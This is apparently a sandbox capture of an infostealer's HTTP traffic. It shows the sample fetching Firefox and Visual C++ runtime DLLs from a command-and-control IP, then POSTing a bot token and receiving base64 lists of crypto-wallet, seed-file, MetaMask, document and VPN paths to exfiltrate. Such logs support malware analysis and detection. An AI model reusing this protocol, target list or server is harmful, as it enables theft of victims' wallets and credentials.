00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
May 24, 2024 13:42:42.027403116 CEST	94	OUT	GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:42.215791941 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:42 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
May 24, 2024 13:42:43.330563068 CEST	95	OUT	GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:43.528702974 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:43 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
May 24, 2024 13:42:44.521290064 CEST	91	OUT	GET /8420e83ceb95f3af/nss3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:44.733099937 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:44 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
May 24, 2024 13:42:49.438652039 CEST	95	OUT	GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:49.645016909 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:49 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
May 24, 2024 13:42:50.600892067 CEST	99	OUT	GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1 Host: 185.172.128.170 Cache-Control: no-cache
May 24, 2024 13:42:50.790410995 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
May 24, 2024 13:42:54.850933075 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 185.172.128.170 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:55.230444908 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:57.132917881 CEST	469	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.172.128.170 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"wallets------KEHDBAEGIIIEBGCAAFHI--
May 24, 2024 13:42:57.324018955 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
May 24, 2024 13:42:57.424375057 CEST	467	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.172.128.170 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="message"files------HDAFBGIJKEGIECAAFHDH--
May 24, 2024 13:42:57.630898952 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2052 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 [TRUNCATED] Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3Vy
May 24, 2024 13:42:58.113908052 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:58.375549078 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:58.473299026 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:58.693917036 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:58.826487064 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIJECFIECBFIDGDAKFH Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:59.053452015 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:59.151997089 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKF Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:59.375340939 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:42:59.464230061 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:59.688715935 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:00.106004953 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:00.320194006 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=77 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:00.526180983 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJE Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:00.873260975 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=76 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:00.983103991 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:01.204392910 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:01.329691887 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:01.788834095 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=74 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:01.797111034 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=74 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:02.124613047 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:02.345117092 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=73 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:02.967602968 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
